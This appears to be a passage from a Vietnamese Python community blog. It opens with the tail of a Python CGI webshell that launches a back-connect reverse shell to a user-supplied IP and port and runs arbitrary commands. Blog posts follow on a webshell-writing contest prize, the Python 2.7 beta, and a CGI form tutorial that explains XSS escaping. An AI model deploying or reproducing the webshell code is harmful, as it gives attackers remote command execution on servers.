        ip = get_param(form,"ip")
        file_name = put_script("bc",back_connect)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command != None:
        command_result = run_command(command)

    list_files = run_command("ls -alh " + cur_dir)

    print html.substitute(environ_table=get_environ_table(),
                          uname = uname,
                          uid = uid,
                          list_files = list_files,
                          cur_dir = cur_dir,
                          command_result = command_result,
                          file_content = file_content,
                          file_name    = file_name,
                          edit_file_box_visibility = edit_file_box_visibility
                            )

if __name__ == '__main__':
    main()

Trao giải cuộc thi viết webshell bằng Python

written by Lê Ngọc Hiếu, on May 17, 2010 12:17:00 PM.

Ngày 16/05/2010 tại quán cafe K&K đã diễn ra buổi lễ trao giải cho cuộc thi viết webshell bằng python. Tại buổi lễ, anh Nguyễn Thành Nam là trưởng nhóm Python cho người Việt đã trao giải nhất của cuộc thi cho bạn Phan Đắc Anh Huy với phần thưởng là 100.000 đồng.

/static/webshell_programming_contest.jpg

Hình: anh Nguyễn Thành Nam trao giải cho bạn Phan Đắc Anh Huy

Cuộc thi lần này đã thu hút sự tham gia của nhiều bạn trẻ hơn so với cuộc thi viết game bằng Python lần trước. Theo anh Nam, chất lượng cuộc thi lần này đã khá hơn hẳn lần trước. Điều đó chứng tỏ trình độ lập trình bằng Python và cộng đồng sử dụng Python đã và đang lớn mạnh hơn. Đây cũng chính là mục đích của trang mạng Python cho người Việt được lập ra.

Sau lễ trao giải, nhóm cũng đã có buổi thảo luận sôi nổi về việc sẽ thúc đẩy sinh hoạt gặp mặt trực tiếp nhằm nâng cao hơn nữa tay nghề. Hy vọng đây sẽ là một hoạt động bổ ích và thiết thực cho các bạn trẻ ham học hỏi. Bạn Hoàng Quốc Thịnh - người đã đoạt giải nhất trong cuộc thi lần trước - chia sẻ: “Mình nghĩ không nên lạm dụng việc sinh hoạt trực tuyến nhiều quá, sinh hoạt trực tiếp gặp mặt có điểm lợi hơn đó là việc cái ‘lửa’ sẽ được tận mắt nhìn thấy và truyền cho nhau. Điều này, sinh hoạt trực tuyến không có được.”

Anh Nam cũng có cùng nhận định như trên và đang chuẩn bị cho những hoạt động đẩy mạnh trong thời gian sắp tới.

K&K, 15:03 16/05/2010

Python 2.7 beta 1 ra mắt

written by Võ Đức Phương, on Apr 18, 2010 6:00:00 PM.

Python 2.7 là phiên bản cuối cùng của Python 2 trước khi chuyển sang chế độ chỉ sửa lỗi, không thêm tính năng vào họ phiên bản này nữa. Tương tự như 2.6, phiên bản này sẽ chú trọng vào việc thêm vào những tính năng của Python 3 (chính xác là Python 3.1). Những cải tiến của phiên bản này bao gồm:

  • Thêm loại từ điển có sắp xếp
  • Thêm một số tính năng cho unittest như bỏ qua kiểm tra hay các phương pháp kiểm định mới.
  • Mô đun io mới cho tốc độ nhanh hơn
  • Tự đánh số các trường với phương pháp str.format()
  • Mô đun sysconfig mới.

…cùng nhiều thay đổi khác nữa. Thông tin chi tiết về phiên bản này có thể được xem tại:

Có những gì mới trong Python 2.7?

Danh sách các thay đổi của Python 2.7

Lập trình web với Python (4)

written by Nguyễn Thành Nam, on Mar 10, 2010 12:46:00 PM.

Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.

Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng chỉ xuất giá trị ngẫu nhiên.

Một chương trình CGI hữu dụng thường sẽ nhận dữ liệu nhập qua các mẫu đơn (form), xử lý các dữ liệu này, và trả về kết quả.

Các dữ liệu nhập được truyền đến ứng dụng web ở dạng bộ 2 (khóa, giá trị) (key-value pair). Ví dụ nếu chúng ta điền vào một mẫu đơn có trường nhập tên là name và giá trị của nó là Nguyễn Việt Nam thì khóa sẽ là name và giá trị là Nguyễn Việt Nam. Thông thường có hai phương thức truyền dữ liệu đến ứng dụng web là GET và POST.

Trong phương thức GET, các bộ 2 (khóa, giá trị) này sẽ được truyền qua URL. Với ví dụ ở trên, URL sẽ có dạng http://host/path?name=Nguyễn+Việt+Nam. Bạn đọc sẽ chú ý các điểm quan trọng sau:

  1. Đi ngay phía sau đường dẫn đến ứng dụng CGI là một dấu chấm hỏi (?). Ký tự này dùng để thông báo phần phía sau là dữ liệu nhập.
  2. Phân cách giữa khóa và giá trị của dữ liệu nhập là dấu bằng (=).
  3. Khóa và giá trị được chuyển mã theo dạng phù hợp. Chúng ta thấy rằng ký tự khoảng trắng được chuyển thành ký tự cộng (+). Việc chuyển mã này nhằm làm cho URL không chứa các ký tự đặc biệt có thể gây nhầm lẫn.
  4. Không được nêu rõ trong ví dụ là ký tự phân cách các bộ 2 (khóa, giá trị) là ký tự và (&).

Trong phương thức POST, các bộ 2 (khóa, giá trị) được truyền trong nội dung yêu cầu HTTP, và không hiện rõ cho người dùng.

Hãy thử nghiệm với chương trình ví dụ sau (đặt tên nó là fp.py):

#!c:/python26/python

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
	</body>
</html>
"""

Kết quả mà chúng ta nhận được là một mẫu đơn như hình:

/static/web-programming/cgi/form1.png

Một số điểm quan trọng trong chương trình này là sự sử dụng các thẻ liên quan đến mẫu đơn.

  1. Trước hết là thẻ form dùng để thông báo sự bắt đầu của một mẫu đơn. Các thuộc tính (attribute) thông thường của thẻ này gồm methodaction.
  2. Thuộc tính method xác định phương thức truyền dữ liệu. Chúng ta có thể sử dụng GET hoặc POST.
  3. Thuộc tính action xác định đường dẫn đến chương trình CGI sẽ xử lý mẫu đơn này. Nếu không xác định thì chính địa chỉ hiện tại sẽ được dùng.
  4. Thẻ input xác định một trường nhập. Thẻ này có các thuộc tính chính là type, name, và value.
  5. Thuộc tính type xác định kiểu nhập là một ô nhập (text box), một nút nhấn (button), một nút chọn (radio button), hoặc một tập tin (file). Ở ví dụ này chúng ta xác định một ô nhập với kiểu text.
  6. Thuộc tính name xác định khóa của bộ 2. Trong ví dụ này khóa nhập là number.
  7. Thuộc tính value xác định giá trị khởi đầu của trường nhập này. Chúng ta để trống.
  8. Thẻ input với thuộc tính typesubmit sẽ tạo một nút nhấn. Nút nhấn này đặc biệt vì nó sẽ gửi các giá trị chúng ta nhập vào mẫu đơn đến chương trình CGI.

Thông tin chi tiết về các thẻ HTML có thể được xem thêm từ các tài liệu từ W3C.

Chương trình này cũng chỉ là in ra một mẫu đơn nhưng chúng ta đã có thể nhấn nút để gửi mẫu đơn đó đi.

Chúng ta sẽ sửa nó để in lại những gì đã nhận từ trình duyệt.

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % form.getfirst('number')

print """</body>
</html>
"""

Điều đầu tiên chúng ta nhận ra là sự sử dụng mô-đun cgi. Mô-đun này cho phép chúng ta tạo một đối tượng FieldStorage. Đối tượng FieldStorage chứa các bộ 2 (khóa, giá trị) chúng ta nhận được từ trình duyệt trong một cấu trúc như kiểu từ điển. Do đó chúng ta có thể dùng phương thức has_key để kiểm tra sự tồn tại của khóa tương ứng. Để lấy giá trị từ FieldStorage ta có thể dùng form[’number’].value hoặc gọi các hàm như getvalue, getfirst, hay getlist. Các hàm này được đề cập đến một cách chi tiết trong bộ tài liệu sử dụng Python.

Nếu tinh ý, chúng ta sẽ thấy rằng khi dữ liệu nhập chứa các thẻ HTML hợp lệ thì kết quả xuất ra sẽ hiển thị cả những thẻ HTML này. Ví dụ khi ta nhập Nguyễn <b>Việt</b> Nam.

/static/web-programming/cgi/form2.png

Điều này có thể là đúng theo ý định, hoặc cũng thể nằm ngoài mong muốn. Chúng ta gọi đây là các lỗi kịch bản chéo trang (Cross Site Scripting, XSS). Cách khắc phục là trước khi hiển thị các chuỗi không nằm trong kiểm soát của chương trình (ví dụ như dữ liệu nhập, dữ liệu xuất từ hệ thống khác, v.v…), chúng ta sẽ cần chuyển mã các ký tự đặc biệt. Mô-đun cgi cung cấp hàm escape để làm việc này. Mã nguồn mới sẽ gói getfirst trong cgi.escape như sau:

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % cgi.escape( \
			form.getfirst('number'), True)

print """</body>
</html>
"""

Giờ đây, chuỗi được xuất ra sẽ giống hệt với chuỗi nhập.

/static/web-programming/cgi/form3.png

Chúng ta cũng có thể thử với phương thức GET bằng cách nhập thẳng URL http://localhost/cgi-bin/fp.py?number=Nguyễn+<b>Việt</b>+Nam. Chúng ta cũng sẽ nhận được kết quả tương tự.

Vậy là qua hai phần chúng ta đã tìm hiểu về cách hoạt động của một chương trình CGI. Điểm mạnh của giao thức CGI là tính đơn giản và an toàn cao vì mỗi yêu cầu được một tiến trình riêng xử lý. Cũng chính vì mô hình đơn giản như vậy nên CGI gặp phải nhiều cản trở trong việc phát triển. Cản trở đầu tiên là chương trình CGI phải tự xử lý trạng thái giữa các yêu cầu kế tiếp nhau, hay còn gọi là phiên làm việc (session). Cản trở thứ hai là chương trình CGI sẽ phải được thiết kế đặc biệt nếu muốn sử dụng các biến có phạm vi toàn ứng dụng (application scope). Cuối cùng, chương trình CGI chạy chậm hơn và tốn tài nguyên hơn vì mỗi yêu cầu phải được xử lý riêng.

Trong các phần tới, chúng ta sẽ xem qua cách hoạt động của những công nghệ tiên tiến, giải quyết được các điểm yếu của giao thức CGI.